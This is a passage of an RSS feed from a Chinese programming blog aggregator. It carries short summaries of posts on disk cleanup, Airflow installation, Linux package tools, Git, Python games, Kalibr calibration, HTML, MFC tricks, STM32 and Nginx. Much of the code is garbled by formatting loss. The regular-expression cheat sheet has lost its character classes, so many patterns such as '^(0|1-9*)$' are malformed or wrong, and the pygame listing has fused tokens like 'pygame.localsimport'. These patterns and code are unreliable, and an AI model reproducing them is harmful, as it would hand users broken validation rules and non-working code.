      <description>清理C盘空间是电脑维护的重要步骤之一，C盘是Windows操作系统的核心部分，保存了许多重要的系统文件，因此空间不足会影响计算机的性能和稳定性。下面是一些清理C盘空间的方法分享。&#xA;一.清理c盘空间的方法 1、清理临时文件&#xA;在使用Windows系统时，会在计算机上生成许多临时文件，包括系统缓存、浏览器缓存、垃圾文件等。这些文件会占用大量的磁盘空间，所以定期清理这些临时文件是非常必要的。&#xA;2、删除不需要的程序&#xA;我们在使用计算机的过程中，安装了许多应用程序，但有些应用程序我们很少使用或者已经不需要了，却依然占据着硬盘空间。因此，删除不需要的程序可以腾出大量的空间。&#xA;3、清理回收站&#xA;在Windows系统中，删除文件时，文件并没有真正的被删除，而是被移到了回收站中。回收站中的文件也会占用硬盘空间，所以定期清空回收站也是释放C盘空间的有效方法。&#xA;4、使用磁盘清理工具&#xA;Windows系统自带了一个磁盘清理工具，可以帮助用户清理C盘上不需要的文件和文件夹。打开磁盘清理工具后，会提示你需要清理哪些文件和文件夹，例如下载文件、浏览器缓存等，根据提示进行操作即可。&#xA;5、使用c盘清理工具&#xA;使用第三方的c盘清理工具，如电脑修复精灵的c盘清理工具，它可以帮助用户快速识别和删除这些无用文件和垃圾文件，同时也可以卸载不需要的程序和组件，以释放更多的硬盘空间，也有一键搬家功能，能详细的看到你c盘当中有哪些文件和软件，方便你快速搬运c盘里的文件到别的地方去。&#xA;c盘清理软件_win7c盘满了变红怎么清理–电脑修复精灵&#xA;6、压缩文件&#xA;在电脑中存储大量的文件时，文件可能会占据大量的空间。将文件压缩成压缩包格式，可以减少文件占用的空间，并且方便传输和存储。&#xA;清理C盘空间是电脑维护中必不可少的一步。通过清理临时文件、删除不需要的程序、清理回收站、使用磁盘清理工具、压缩文件等方法，可以有效地释放硬盘空间，提高电脑性能和稳定性。因此，建议用户定期进行C盘清理，以保持电脑的良好运行状态。&#xA;二.预防电脑变卡 另外，以下几点也值得注意：&#xA;1、备份重要文件&#xA;在进行C盘清理之前，建议先备份重要的文件和数据，以免误删重要数据或文件，造成不必要的损失。&#xA;2、定期进行C盘清理&#xA;定期进行C盘清理可以避免C盘空间不足的问题，建议至少每个月进行一次清理。&#xA;3、使用外部存储设备&#xA;如果C盘空间不足，还可以使用外部存储设备，如USB闪存盘、移动硬盘等来存储文件，以减轻C盘的负担。&#xA;以上就是关于清理c盘空间的一些方法，希望本文能版关注到大家，如果想了解更多，欢迎继续关注小编哦。</description>
    </item>
    <item>
      <title>Airflow简介</title>
      <link>https://bchobby.github.io/posts/e611344085f0c230ef7d3cc3c4d838a4/</link>
      <pubDate>Thu, 02 Mar 2023 16:15:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e611344085f0c230ef7d3cc3c4d838a4/</guid>
      <description>1、什么是Airflow&#xA;Airflow 是一个 Airbnb 的 Workflow 开源项目，使用Python编写实现的任务管理、调度、监控工作流平台。Airflow 是基于DAG(有向无环图)的任务管理系统，可以简单理解为是高级版的crontab，但是它解决了crontab无法解决的任务依赖问题。与crontab相比Airflow可以方便查看任务的执行状况（执行是否成功、执行时间、执行依 赖等），可追踪任务历史执行情况，任务执行失败时可以收到邮件通知，查看错误日志。&#xA;2、Airflow与同类产品的对比 系统名称介绍 Apache Oozie&#xA;使用XML配置, Oozie任务的资源文件都必须存放在HDFS上. 配置不方便同时也只能用于Hadoop.&#xA;Linkedin Azkaban&#xA;web界面尤其很赞, 使用java properties文件维护任务依赖关系, 任务资源文件需要打包成zip, 部署不是很方便.&#xA;Airflow&#xA;具有自己的web任务管理界面，dag任务创建通过python代码，可以保证其灵活性和适应性&#xA;3、Airflow基础概念 （1）DAG：有向无环图（Directed Acyclic Graph），描述数据流的计算过程。&#xA;（2）Operators：DAG中一个Task要执行的任务，如：①BashOperator为执行一条bash命令；②EmailOperator用于发送邮件；③HTTPOperator用于发送HTTP请求；④PythonOperator用于调用任意的Python函数。&#xA;（3）Task：是DAG中的一个节点，是Operator的一个实例。&#xA;（4）Task Instance：记录Task的一次运行，Task Instance有自己的状态，包括：running、success、failed、 skipped、up for retry等。&#xA;（5）Trigger Rules：task的触发条件。&#xA;4 、Airflow安装 依赖：yum -y install python-devel libevent-devel mysql-devel mysqlclient&#xA;（1）安装airflow：pip install apache-airflow&#xA;（2）修改airflow对应的环境变量：export AIRFLOW_HOME=/usr/local/airflow&#xA;（3）执行airflow version，在/usr/local/airflow目录下生成配置文件&#xA;（4）修改默认数据库：修改/usr/local/airflow/airflow.cfg&#xA;[core]&#xA;executor = LocalExecutor&#xA;sql_alchemy_conn = mysql://airflow:123456@192.168.48.102:3306/airflow&#xA;（5）创建airflow用户,创建airflow数据库并给出所有权限给次用户：&#xA;create database airflow;&#xA;create user &#39;tairflow&#39;@&#39;%&#39; identified by &#39;123123&#39;;</description>
    </item>
    <item>
      <title>Linux src、rpm、yum （三种安装方式）</title>
      <link>https://bchobby.github.io/posts/44d3260dbe94881ebf704556247302df/</link>
      <pubDate>Thu, 02 Mar 2023 14:41:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44d3260dbe94881ebf704556247302df/</guid>
      <description>1.src:&#xA;#编译安装 #编译安装 配置文件：Makefile 编译，安装命令：make #例：编译安装nginx。 下载源码 tar xf 解压 (撕，定位文件，用这两个就行了) tar -zxvf japan.tar.gz -C /tmp/ README ./configure --prefix=/path ：有错就按照要求改 创建Makefile vi Makefile make：(实际上读Makefile) 编译 make install (make 打开makefile 找install ) #注意：编译环境、软件依赖、配置项 2.rpm:&#xA;#包（要自己管理） redhat packet manage #安装 rpm安装：一般i -i filename --prefix rpm升级： -Uvh （v 打印） -Fvh rpm卸载: (包名 qa出来的) -e PACKAGE_NAME #查询 rpm -qa : 查询已经安装的所有包 rpm -ql PACKAGE_NAME: 查询指定包安装后生成的文件列表 pm -qf /path/to/somefile: 查询文件是由哪个rpm包安装生成的&#x9;（逆向） #例子 （JAVA 安装后有些环境变量 -qa包(配合管道) , -ql（有啥文件） 有的释放有软连接，但是有的没有，要在 /etc/profile配置 （PATH） #（（末行模式：!</description>
    </item>
    <item>
      <title>webStorm中使用Git工具（小白教程）</title>
      <link>https://bchobby.github.io/posts/5322b907ff6ea1cced8fc3ec6c1974d5/</link>
      <pubDate>Thu, 02 Mar 2023 14:39:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5322b907ff6ea1cced8fc3ec6c1974d5/</guid>
      <description>我在上一家公司工作时用的东西比较老，编辑器用的是HBuilder X以及svn来进行版本管理，最近刚换的这家用的是webStorn和git工具需要去熟悉和磨合，下面我们学习一下开始正文吧！！&#xA;对于刚入职场的小白来说使用git这个版本管理工具无非就是：&#xA;拉取代码 =&amp;gt; 更换分支(看公司情况) =&amp;gt; 更新代码 =&amp;gt; 二次开发 =&amp;gt; Git上传 1.安装Git 这里是Git官网大家都认识英文就不多介绍，我们进到官网首页就点DownLoads然后就选择自己电脑对应的系统和位数进行下载即可，比如我的电脑是windows 64位我就下载红线标注的就好了。&#xA;安装就更加简单了，自己只需要配置安装的地址就一直next！&#xA;2.克隆版本库代码（拉取代码） 首先我们可以在自己电脑上新建一个空白文件夹存放代码并在cmd窗口选择自己新建的文件夹在执行一下命令就可拉取下来了&#xA;git clone + 仓库位置 拉取的代码就可以进行二次开发了很简单................&#xA;3.切换分支（看公司远程仓库情况来决定） 这里公司有要求分支的话需要切换一下对应的分支防止上传错远程仓库，切换分支在webStorm编辑器的右下角方向然后选择对应的分支即可.........&#xA;4.更新代码和上传代码至远程仓库 使用过webStorm编辑器的人都知道这个编辑器的右上角有三个这样子的图标，对应的用法如下：&#xA;第一个向下的蓝色箭头 等同于 Git =&amp;gt; Update Project，第二个绿色打钩图标 等同于 Git =&amp;gt; Commit，第三个向上的绿色箭头 等同于 Git =&amp;gt; push， 如下图：&#xA;公司里面是多人进行项目开发，所以就需要我们及时Update Project代码，我们只要点击蓝色向下箭头或者是 Git =&amp;gt; Update Project进行更新，更新好右下角会有提示弹窗&#xA;上传就是中间的绿色打钩图标或者是Git =&amp;gt; Commit，点击以后就会出现这一样式的弹框我们需要注意的是有红色标记的地方！&#xA;标记1中有打红色√的是我们选中上传的代码，不需要上传的代码就不需要√选中标记2中写着 3 added 1 moditied就是三个新增文件一个更改文件所以提交前需要确认标记3是我们改进代码或者是更新代码的描述标记4中就是选中上传的代码新增或者是更改的地方 我们这四步都确认好了就可以点Commit了，它会提示我们一些警告和错误我们可以不管再点一次commit就好了，如下图：&#xA;这步完成后我们的代码并没有上传到远程仓库我们还需要最后一步就是点击最后的一个绿色的向上箭头图标或者是Git =&amp;gt; push这才真正意义上完成Git上传！！！！&#xA;后续还会更新技术问题感兴趣的小伙伴可以关注或者私信交流交流！</description>
    </item>
    <item>
      <title>用Python写一个游戏</title>
      <link>https://bchobby.github.io/posts/0b2a92044be2294e22975f096059c6a2/</link>
      <pubDate>Thu, 02 Mar 2023 13:29:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b2a92044be2294e22975f096059c6a2/</guid>
      <description>目录： 1，猜拳游戏&#xA;2，俄罗斯方块&#xA;1，&#34;猜拳游戏&#34;&#xA;先用最基础的也是比较经典，猜拳游戏，源码如下：&#xA;import random b = random.randint(0,2) print(b) #b = int(b) a = input(&#34;输入你的数字：&#34;) a = int(a) if a &amp;gt; 3: print(&#34;数字错误&#34;) elif a == b : print(&#34;平手了&#34;) elif a &amp;gt; b : print(&#34;你输了&#34;) else: print(&#34;你赢了&#34;) pass 这个只要有一点Python基础的人，都看得懂。&#xA;2，&#34;俄罗斯方块&#34;&#xA;这个需要用到“pygame”模块，需要下载，这个安装并添加模块，pip就行了。&#xA;源码如下：&#xA;import sys import time import pygame from pygame.localsimport * import blocks SIZE =30 # 每个小方格大小 BLOCK_HEIGHT =25 # 游戏区高度 BLOCK_WIDTH =10 # 游戏区宽度 BORDER_WIDTH =4 # 游戏区边框宽度 BORDER_COLOR = (40, 40, 200)# 游戏区边框颜色 SCREEN_WIDTH = SIZE * (BLOCK_WIDTH +5)# 游戏屏幕的宽 SCREEN_HEIGHT = SIZE * BLOCK_HEIGHT# 游戏屏幕的高 BG_COLOR = (40, 40, 60)# 背景色 BLOCK_COLOR = (20, 128, 200) BLACK = (0, 0, 0) RED = (200, 30, 30)# GAME OVER 的字体颜色 # 画背景 def _draw_background(screen): # 填充背景色 screen.</description>
    </item>
    <item>
      <title>常用的正则表达式</title>
      <link>https://bchobby.github.io/posts/0112702fae6ed77659ed10f9dd0cee2f/</link>
      <pubDate>Thu, 02 Mar 2023 13:20:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0112702fae6ed77659ed10f9dd0cee2f/</guid>
      <description>一、校验数字的表达式 数字：^[0-9]*$&#xA;n位的数字：^\d{n}$&#xA;至少n位的数字：^\d{n,}$&#xA;m-n位的数字：^\d{m,n}$&#xA;零和非零开头的数字：^(0|1-9*)$&#xA;非零开头的最多带两位小数的数字：^(1-9*)+(.[0-9]{1,2})?$&#xA;带1-2位小数的正数或负数：^(-)?\d+(.\d{1,2})$&#xA;正数、负数、和小数：^(-|+)?\d+(.\d+)?$&#xA;有两位小数的正实数：^[0-9]+(.[0-9]{2})?$&#xA;有1~3位小数的正实数：^[0-9]+(.[0-9]{1,3})?$&#xA;非零的正整数：^[1-9]\d*$ 或 ^(1-9*){1,3}$ 或 ^+?1-9*$&#xA;非零的负整数：^-1-90-9&#34;*$ 或 ^-[1-9]\d*$&#xA;非负整数：^\d+$ 或 ^[1-9]\d*|0$&#xA;非正整数：^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$&#xA;非负浮点数：^\d+(.\d+)?$ 或 ^[1-9]\d*.\d*|0.\d*[1-9]\d*|0?.0+|0$&#xA;非正浮点数：^((-\d+(.\d+)?)|(0+(.0+)?))$ 或 ^(-([1-9]\d*.\d*|0.\d*[1-9]\d*))|0?.0+|0$&#xA;正浮点数：^[1-9]\d*.\d*|0.\d*[1-9]\d*$ 或 ^(([0-9]+.[0-9]*1-9*)|([0-9]*1-9*.[0-9]+)|([0-9]*1-9*))$&#xA;负浮点数：^-([1-9]\d*.\d*|0.\d*[1-9]\d*)$ 或 ^(-(([0-9]+.[0-9]*1-9*)|([0-9]*1-9*.[0-9]+)|([0-9]*1-9*)))$&#xA;浮点数：^(-?\d+)(.\d+)?$ 或 ^-?([1-9]\d*.\d*|0.\d*[1-9]\d*|0?.0+|0)$&#xA;二、校验字符的表达式 汉字：^[\u4e00-\u9fa5]{0,}$&#xA;英文和数字：^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$&#xA;长度为3-20的所有字符：^.{3,20}$&#xA;由26个英文字母组成的字符串：^[A-Za-z]+$&#xA;由26个大写英文字母组成的字符串：^[A-Z]+$&#xA;由26个小写英文字母组成的字符串：^[a-z]+$&#xA;由数字和26个英文字母组成的字符串：^[A-Za-z0-9]+$&#xA;由数字、26个英文字母或者下划线组成的字符串：^\w+$ 或 ^\w{3,20}$&#xA;中文、英文、数字包括下划线：^[\u4E00-\u9FA5A-Za-z0-9_]+$&#xA;中文、英文、数字但不包括下划线等符号：^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$&#xA;可以输入含有^%&amp;amp;&#39;,;=?$&#34;等字符：[^%&amp;amp;&#39;,;=?$\x22]+&#xA;禁止输入含有~的字符：[^~]+&#xA;三、特殊需求表达式 Email地址：^\w+([-+.]\w+)*@\w+([-.]\w+)*.\w+([-.]\w+)*$&#xA;域名：a-zA-Z0-9{0,62}(.a-zA-Z0-9{0,62})+.?&#xA;InternetURL：[a-zA-z]+://\s* 或 ^http://([\w-]+.)+[\w-]+(/[\w-./?%&amp;amp;=]*)?$&#xA;手机号码：^(13[0-9]|14[01456879]|15[0-35-9]|16[2567]|17[0-8]|18[0-9]|19[0-35-9])\d{8}$&#xA;电话号码(&#34;XXX-XXXXXXX&#34;、&#34;XXXX-XXXXXXXX&#34;、&#34;XXX-XXXXXXX&#34;、&#34;XXX-XXXXXXXX&#34;、&#34;XXXXXXX&#34;和&#34;XXXXXXXX)：^((\d{3,4}-)|\d{3.4}-)?\d{7,8}$&#xA;国内电话号码(0511-4405222、021-87888822)：\d{3}-\d{8}|\d{4}-\d{7}&#xA;电话号码正则表达式（支持手机号码，3-4位区号，7-8位直播号码，1－4位分机号）: ((\d{11})|^((\d{7,8})|(\d{4}|\d{3})-(\d{7,8})|(\d{4}|\d{3})-(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1})|(\d{7,8})-(\d{4}|\d{3}|\d{2}|\d{1}))$)</description>
    </item>
    <item>
      <title>使用Kalibr标定相机和IMU（ZED&#43;px4）外参</title>
      <link>https://bchobby.github.io/posts/31373fe4e2345a9d145b2e0d90185ace/</link>
      <pubDate>Thu, 02 Mar 2023 12:49:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31373fe4e2345a9d145b2e0d90185ace/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;使用Kalibr标定相机和IMU（ZED+px4）外参 前言一、Kalibr介绍二、CAM-IMU外参标定1.相机内参2.IMU噪声参数3.target(标定板参数)4.bag文件录制5.kalibr: cam-imu联合标定 三、运行单目+imu的VINS-Fusion 前言 本文仅使用kalibr中cam-imu的联合标定，关于camera内参默认已经知道了。主要会总结一些标定上的小经验，有不对的地方，希望网友可以指出。文章最后将使用标定的cam-imu外参在VINS-Fusion中进行验证&#xA;一、Kalibr介绍 Kalibr是ZTH大佬们开源的一个标定工具箱，可以进行相机内参标定，cam-imu外参标定、多imu、多相机标定等。在很多数据集中，都使用Kalibr来标定cam-imu的外参矩阵，具有很高的可信度，写论文，做实验，都用得上。&#xA;本文不涉及Kalibr的安装，各位可以根据官网自己安装，下面开始介绍cam-imu的标定细节和经验。&#xA;本文使用的设备是ZED相机和px4里内置的imu，进行左目相机和imu的外参标定。&#xA;二、CAM-IMU外参标定 标定一共需要3个yaml文件，分别是：&#xA;相机内参的zed_left_raw.yaml，imu噪声参数的px4_imu.yaml，标定板对应的april_7x5.yaml文件&#xA;下面会在相机内参、imu噪声、target部分分别介绍yaml文件中的内容。&#xA;注意这里的文件名可以根据自己习惯命名，不是固定的。&#xA;1.相机内参 关于相机内参的标定，用的比较多的有matlab的标定工具箱，Kalibr本身也支持多相机的内参标定，有需要可以看看Multiple camera calibration 部分。&#xA;关于ZED相机的内参，使用出厂标定的数据就好了，如果安装ZED的SDK时使用的是默认的安装路径，可以在/usr/local/zed/settings下面找到一个SN****.conf文件，根据你设置的相机分辨率去找对应的相机内参和畸变参数，我这里使用的是VGA模式，conf文件中&#xA;对应的内参和畸变参数如下：&#xA;根据我们获得的相机内参和畸变参数，创建一个zed_left_raw.yaml文件(文件名自己定)，内容如下：&#xA;cam0: cam_overlaps: [] camera_model: pinhole #相机模型，kalibr也支持鱼眼模型 distortion_coeffs: [-0.173778, 0.0266126, 0.0010566, -0.000836547] #相机畸参数 distortion_model: radtan #畸变模型 intrinsics: [349.46, 349.46, 346.59, 181.41225] resolution: [672, 376] rostopic: /zed/zed_node/left_raw/image_raw_gray 注意一下，distortion_model和camera_model根据自己需要进行选择，Kalibr中Supported models中有介绍。&#xA;ZED相机是针孔模型，畸变参数是k1,k2,p1,p2，对应的distortion model是radial-tangential。&#xA;2.IMU噪声参数 注意：&#xA;我自己之前写过一篇关于IMU内参标定的文章，需要的小伙伴可以参看一下。&#xA;但是！！！！！我们其实用不上imu内参标定的数据，理由也在《IMU内参标定》这篇文章中介绍过了，想了解的同学，自己看看，欢迎评论区发表意见，如果想深入了解关于IMU噪声模型的同学，也可以看看我之前的文章。&#xA;虽然说imu内参标定的结果不重要，但是imu内参确实对cam-imu外参标定是有影响的，如何取值呢？是一个问题。&#xA;有多种选择的方法:&#xA;一种是参考公开数据集的做法，比如：EuRoC数据集（毕竟是他们自己家采的数据集），Kalibr在download中给了Euroc数据集在使用kalibr标定时用到的imu_adis16448.yaml文件，里面有标定时用的imu的噪声参数（连续噪声模型）。他们用的IMU型号是adls16448，在很多imu内参标定的工具里一般会用这款imu作为示例，比如mintar版本的imu_util中，下面可以对比一下Kalibr中用的imu噪声参数和imu内参标定得到的噪声参数的差别：&#xA;可以看到，Kalibr中用的imu噪声参数比imu内参标定得到的噪声参数要大10-15倍左右，理由看我之前的文章。所以我们的一种做法是使用静置imu标定的内参，然后放大10-15倍（倍数看效果，效果不行可以再放大一些）。第二种做法，使用VINS种imu噪声的默认参数，他们给的这个默认参数还是蛮好用的，或者在他们默认参数的基础上做一个微调。本文用的就是在VINS给的默认参数基础上做了点微调，具体的px4_imu.yaml文件的内容如下： rostopic: /mavros/imu/data update_rate: 195 #Hz accelerometer_noise_density: 0.1 #VINS默认 0.</description>
    </item>
    <item>
      <title>html_study</title>
      <link>https://bchobby.github.io/posts/3b27adedde1f4a14b8dde7ba841bdd9c/</link>
      <pubDate>Thu, 02 Mar 2023 10:27:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b27adedde1f4a14b8dde7ba841bdd9c/</guid>
      <description>HTML -------- -------- 超文本标记语言（英语：HyperText Markup Language，简称：HTML）是一种用于创建网页的标准标记语言。&#xA;您可以使用 HTML 来建立自己的 WEB 站点，HTML 运行在浏览器上，由浏览器来解析。&#xA;对于中文网页需要使用 &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; 声明编码，否则会出现乱码。&#xA;&amp;lt;!DOCTYPE html&amp;gt; 声明为 HTML5 文档&amp;lt;html&amp;gt; 元素是 HTML 页面的根元素&amp;lt;head&amp;gt; 元素包含了文档的元（meta）数据，如 &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; 定义网页编码格式为 utf-8。&amp;lt;title&amp;gt; 元素描述了文档的标题&amp;lt;body&amp;gt; 元素包含了可见的页面内容&amp;lt;h1&amp;gt; 元素定义一个大标题&amp;lt;p&amp;gt; 元素定义一个段落 HTML简介 HTML 是用来描述网页的一种语言。&#xA;HTML 指的是超文本标记语言: HyperText Markup LanguageHTML 不是一种编程语言，而是一种标记语言标记语言是一套标记标签 (markup tag)HTML 使用标记标签来描述网页HTML 文档包含了HTML 标签及文本内容HTML文档也叫做 web 页面 HTML标签 HTML 标记标签通常被称为 HTML 标签 (HTML tag)。&#xA;HTML 标签是由尖括号包围的关键词，比如 &amp;lt;html&amp;gt;HTML 标签通常是成对出现的，比如 &amp;lt;b&amp;gt; 和 &amp;lt;/b&amp;gt;标签对中的第一个标签是开始标签，第二个标签是结束标签开始和结束标签也被称为开放标签和闭合标签 &amp;lt;标签&amp;gt;内容&amp;lt;/标签&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;</description>
    </item>
    <item>
      <title>呼叫中心,电话机器人的中继线路</title>
      <link>https://bchobby.github.io/posts/7fdeef4867368d748b666d6548a1a6c8/</link>
      <pubDate>Thu, 02 Mar 2023 09:17:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fdeef4867368d748b666d6548a1a6c8/</guid>
      <description>全国中继一点汇接&#xA;呼叫中心集中的政企客户在全国范围内开展服务、营销等合规业务时，从集中呼叫中心发出的外呼主叫为呼叫中心所在地中继号码。为提升被呼叫用户的感知，希望主叫显示用户所在地的固定号码。签约云中继业务后，可实现企业外呼平台中继一点对接集团能力开放平台，通过集团能力开放平台连接全国中继。&#xA;场景需求：客户呼叫中心所在本地网和落地本地网均需开通云中继业务，呼叫中心云中继需实装，落地本地网中继不需要实装。客户需在呼叫中心所在本地网受理“云中继（主叫侧，已开通实装中继）”，在落地本地网受理“云中继（落地侧，新开通非实装中继）”，业务单式详见附件1。&#xA;中继外呼集中管控&#xA;（1）为落实国家打击通信诈骗重点工作，政府部门希望能够一点管控实体中继号码的外呼控制，实体中继签约云中继业务后，所有的外呼话务均路由至集团能力开放平台，实现中继号码的集中一点管控。以此实现外呼时间、呼叫频次、黑白名单等集中控制功能。便于客户满足国家监管部门对中继外呼类业务的集中管控要求，规范语音市场。&#xA;（2）大型跨域企业客户往往具有众多全国分支机构，需要集团一点对全国的中继呼叫进行控制，签约云中继业务后可以将分散在全国各地中继的呼叫路由至集团能力开放平台进行一点管控。&#xA;场景需求：客户呼叫中心所在本地网需开通云中继业务，呼叫中心云中继需实装。客户需在呼叫中心所在本地网受理“云中继（主叫侧，已开通实装中继）”，并选择所需控制功能，业务单式详见附件1。&#xA;业务功能&#xA;全国中继一点汇接&#xA;企业呼叫中心外呼所在地必须实装中继，被叫落地侧需新开通非实装中继。&#xA;通过集团能力开放平台，将企业外呼侧的已开通实装中继与全国各地的新开通非实装中继进行云化并连接。政企客户通过实装中继外呼全国非实装中继，显示被叫落地侧中继码号，回拨该码号可连接至外呼时的实装中继。&#xA;中继外呼集中管控&#xA;针对已开通的实装中继。当企业使用该中继外呼时，将话务路由至集团能力开放平台，实现中继的云化管理。&#xA;（1）外呼频次控制&#xA;实现同一号码外呼时的频次限制。&#xA;实现同一企业名下所有中继号码对同一被叫用户外呼的频次限制。&#xA;（2）外呼流量控制&#xA;按照中继受理时中继最大并发数控制中继号码的外呼并发量。&#xA;按照客户指定的允许/禁止呼叫时段，控制中继号码相应的可呼叫时段。&#xA;（3）外呼黑名单控制&#xA;根据用户要求，限制特定号码拨打该用户与解除限制。&#xA;根据政府、企业要求，限制特定号码外呼与解除限制。&#xA;呼叫接续、呼叫控制配置&#xA;针对政企客户对于云中继呼叫接续号码关系绑定、呼叫控制策略等细节需求，平台将提供统一的门户界面，供客户选择设置。&#xA;可以支持的中继线路类型&#xA;传统PRI中继（也叫PRA,ISDN,30B+D）、sip中继均支持云中继业务。每个省中继业务不同，具体各省实装中继情况可咨询各省中继业务负责人；如若开通云中继业务需要有至少一根实装中继提供给平台对应中继号码。</description>
    </item>
    <item>
      <title>mfc对话框操作及命令行窗口隐藏</title>
      <link>https://bchobby.github.io/posts/3be031ef79b89bdf51a4b4be69c40db2/</link>
      <pubDate>Thu, 02 Mar 2023 09:02:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3be031ef79b89bdf51a4b4be69c40db2/</guid>
      <description>1.对话框在任务栏不显示图标.不是隐藏.&#xA;this-&amp;gt;ModifyStyleEx(0, WS_EX_APPWINDOW);&#xA;2.显示对话框但是 是透明的.&#xA;函数实现的。&#xA;参数1：窗口句柄&#xA;参数2：颜色值RGB&#xA;参数3：Alpha值，即透明度值&#xA;参数4：设置参数--&#xA;LWA_COLORKEY（1）表示前面的颜色值起作用&#xA;LWA_ALPHA（2）表示前面的Alpha值起作用，即透明度&#xA;注意&#xA;1。这两个参数可以同时使用，意义为只将对话框上所有颜色为指定为RGB的地方，按照Alpha值来进行透明处理。&#xA;2。SetLayeredWindowAttributes函数是用前，需要指定GWL_EXSTYLE属性为0x80000；&#xA;下列代码将默认颜色的对话框完全透明。&#xA;SetWindowLong(this-&amp;gt;GetSafeHwnd(), GWL_EXSTYLE, 0x80000);&#xA;::SetLayeredWindowAttributes(this-&amp;gt;GetSafeHwnd(), RGB(128, 128, 128), 255, 3);&#xA;3.用_popen运行命令后隐藏cmd黑框.&#xA;//隐藏一个控制台窗口，使得在之后用popen来启shell窗口的时候，不显示黑窗口，或者避免黑窗口一闪而过的情况&#xA;AllocConsole(); //为调用进程分配一个新的控制台&#xA;ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏自己创建的控制台</description>
    </item>
    <item>
      <title>STM32物联网项目之程序框架</title>
      <link>https://bchobby.github.io/posts/cb23fbb38f2d5dd9c21d139c76dd2d71/</link>
      <pubDate>Thu, 02 Mar 2023 08:09:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb23fbb38f2d5dd9c21d139c76dd2d71/</guid>
      <description>前言：&#xA;这个系列，我主要写我用32f103实现的各种功能模块，已经程序编写过程中，硬件调试中出现的问题，一边记录，一边分享，一边复盘。&#xA;使用的是STM32cubemax，自动生成代码，所以为了保证程序可读性，逻辑性，我们在不影响系统自动生成代码的情况下，自己要有自己的程序框架，这样，在我们后期不断增加模块功能时，改动更小，兼容性更强，可阅读性更好。&#xA;目录&#xA;1.STM32CUBEMAX自动生成代码&#xA;1.1软件配置 2.系统代码 2.1包含的头文件 2.2系统时钟函数&#xA;2.3系统初始化 3. 标准化程序框架&#xA;3.1MyApplication.h文件&#xA;3.2main.c文件 3.3.1头文件&#xA;3.3.2源文件 3.3.3run函数&#xA;1.STM32CUBEMAX自动生成代码 为了方便演示程序框架，我用最简单也是最入门的点亮LED灯来操作。&#xA;1.1软件配置 首先，我们需要配置stm32cubemax的各种配置，包括芯片选型，GPIO外设，时钟RCC，等等，如下图所示：&#xA;GPIO口的配置，推挽还是开漏，已经不同选择的原因，rcc时钟频率的配置，这些都跟挂载总线有关，时钟源这些等等底层逻辑相关的，后期我会单独分享复盘底层逻辑；这个章节我主要想介绍程序框架。&#xA;2.系统代码 当我们配置好cubemax之后，点击GENERATE CODE 就会在我们保存的文件路径底下自动生成project，如下图所示：&#xA;因为我是用点亮led灯来演示的，所以系统除了主函数，只有gpio，后期我们用到的模块越多，源文件也会相应的增加，我们主要分析一下系统生成文件都包含那些以及主要的功能&#xA;2.1包含的头文件 引用了main.h以及gpio.h这两个头文件，这两个头文件内部主要是对gpio口的引脚及端口进行定义 ，包括gpio初始化的声明。&#xA;2.2系统时钟函数 我们配置完系统时钟之后，这些文函数就会自动生成。&#xA;2.3系统初始化 系统初始化部分就包含了 HAL库的初始化以及gpio的初始化。&#xA;3. 标准化程序框架 我们在不影响上述文件的情况下，新增属于我们自己的框架文件，在保证接口固定的情况下，每次只修改部分接口函数即可。&#xA;1、新增MyApplication文件夹，放置4个标准c文件，分别是公共文件，回调文件，系统文件，用户初始化文件，后续应用代码均放在此文件夹；&#xA;2、新增MyApplication.h文件，包含所有用户代码的头文件与外设头文件，调整外设或用户文件，只需要调整此文件内的相应头文件即可；&#xA;3、main.c文件标准化&#xA;3.1MyApplication.h文件 #ifndef __MyApplication_H__ #define __MyApplication_H__ /* Includes ------------------------------------------------------------------*/ #include &#34;main.h&#34; #include &#34;gpio.h&#34; #include &#34;stdio.h&#34; #include &#34;stdlib.h&#34; #include &#34;System.h&#34; #include &#34;Public.h&#34; #include &#34;MyInit.h&#34; #endif 我们将所有能用到的头文件集中在一个大的头文件中，只要所有源文件调用这一个头文件即可。&#xA;3.2main.c文件 //调用头文件 /* USER CODE BEGIN Includes */ #include &#34;</description>
    </item>
    <item>
      <title>在ubuntu环境下来部署Nginx静态网页</title>
      <link>https://bchobby.github.io/posts/21d64061213111ed9e5a5f307453237f/</link>
      <pubDate>Thu, 02 Mar 2023 00:12:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21d64061213111ed9e5a5f307453237f/</guid>
      <description> 通过apt install nginx来安装nginx;nginx.conf的目录地址在:/etc/nginx下面可以在conf.d中随便创立.conf文件并且撰写server如下:访问服务器所在的ip即可访问静态网页第一次安装nginx设置80端口后,还跳转到welcome to nginx!,解决办法:进入sites-avaiabl目录下面,将default文件中的server -&amp;gt; listen端口改掉,因为80默认使用了欢迎页面; 使用的命令:&#xA;nginx -s reload 重启nginx&#xA;nginx -t 测试nginx配置文件是否能通过编译&#xA;server{ listen 80; server_name test; root /data/HZ-Website; //填写index.html所在的目录 index index.html; location / { try_files $uri $uri/ =404; } } </description>
    </item>
    <item>
      <title>【linux下的rsyslogd输出文件内容至syslog服务器】</title>
      <link>https://bchobby.github.io/posts/ceaf5d16262756e2c23c526de3bb6e6a/</link>
      <pubDate>Wed, 01 Mar 2023 23:35:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ceaf5d16262756e2c23c526de3bb6e6a/</guid>
